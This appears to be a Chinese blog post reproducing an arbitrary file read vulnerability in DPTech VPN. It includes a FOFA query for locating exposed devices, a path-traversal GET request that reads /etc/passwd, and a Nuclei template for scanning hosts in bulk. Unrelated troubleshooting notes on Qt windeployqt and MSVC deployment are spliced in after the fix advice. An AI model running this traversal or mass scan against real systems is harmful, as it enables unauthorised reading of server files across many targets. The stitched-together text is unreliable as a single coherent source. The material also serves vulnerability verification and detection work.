漏洞复现--迪普DPTech VPN 任意文件读取

免责声明:

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

一:漏洞描述

杭州迪普科技股份有限公司DPTech VPN 存在任意文件读取漏洞,攻击者可以构造恶意请求,通过漏洞读取服务器上的任意文件。

二:漏洞影响版本

DPTech VPN

三:网络空间测绘查询

fofa:
cert="DPtechCa"
image.png

四:漏洞复现

image.png
POC:

GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1

image.png
image.png

五:批量检测


id: dptech-vpn-fileread

info:
  name: dp-vpn-fileread
  author: rain
  severity: high
  description: DPtech SSL VPN 服务存在一个文件读取漏洞,攻击者可以通过利用此漏洞读取目标系统上的敏感文件。该漏洞可能导致未经授权的信息泄露,危及系统的机密性和完整性。
  metadata: 
    fofa-query: title=="SSL VPN Service" && header="Dptech" || cert="DPtechCa"

http:
  - raw:
      - |     
        GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36

    matchers:
      - type: dsl
        dsl:
          - 'status_code==200 && contains_all(body,"root")'

image.png

六:修复建议

升级到最新版本

### Qt 使用 MSVC 编译后 windeployqt 打包生成的 exe 文件无法运行的原因分析与解决方案 当使用 MSVC 编译器构建并尝试通过 `windeployqt` 工具打包时,可能会遇到生成的 `.exe` 文件无法正常运行的情况。以下是可能原因及其对应的解决方案: #### 1. **缺少必要的动态链接库 (DLL)** 如果目标计算机上未安装 Visual C++ Redistributable 或者某些依赖项缺失,则可能导致程序崩溃或无法启动。例如,“应用程序无法正常启动(0xc000007b)”错误通常是因为缺少特定版本的 Microsoft VC++ Runtime 库[^2]。 ##### 解决方法: - 确保目标机器已安装对应版本的 Visual C++ Redistributable 包。 - 如果不想让用户手动安装这些组件,可以将所需的 DLL 文件随同应用一起分发。可以通过以下方式获取所需文件列表: ```bash D:\Qt5.4.1\5.4\msvc2013_64_opengl\bin\windeployqt --list all test.exe ``` #### 2. **不匹配的架构** 另一个常见问题是编译环境和目标平台之间的架构冲突。比如,在 x86 架构的目标设备上部署了一个针对 x64 平台优化的应用程序,反之亦然。这种情况下也会引发类似的错误消息:“应用程序无法正常启动”。 ##### 解决办法: - 检查项目的配置设置以及所选 Kits 是否一致; - 对应不同体系结构重新编译整个工程,并再次运用 `windeployqt` 命令处理新的二进制输出物[^5]; #### 3. **插件路径问题** 有时即使所有的核心库都存在,但如果某些图形界面或其他功能相关的插件未能被正确复制到指定位置,也可能阻止程序加载成功。 ##### 处理措施: - 当调用 `windeployqt` 的时候加上参数 `--qmldir` 来指明 QML 文件所在的目录以便自动收集相关联的模块资源[^3]: ```bash D:\Qt5.4.1\5.4\msvc2013_64_opengl\bin\windeployqt --qmldir path_to_qml_files test.exe ``` #### 4. **其他潜在因素** 除了上述提到的内容外,还有可能存在诸如网络访问权限不足、数据库连接字符串有误等问题影响最终用户体验效果。因此建议开发者们仔细阅读调试日志寻找蛛丝马迹进一步排查具体障碍所在之处[^4]. ```python import os print(os.getcwd()) # 获取当前工作目录用于验证是否处于正确的上下文中执行命令 ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

芝士土包鼠

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值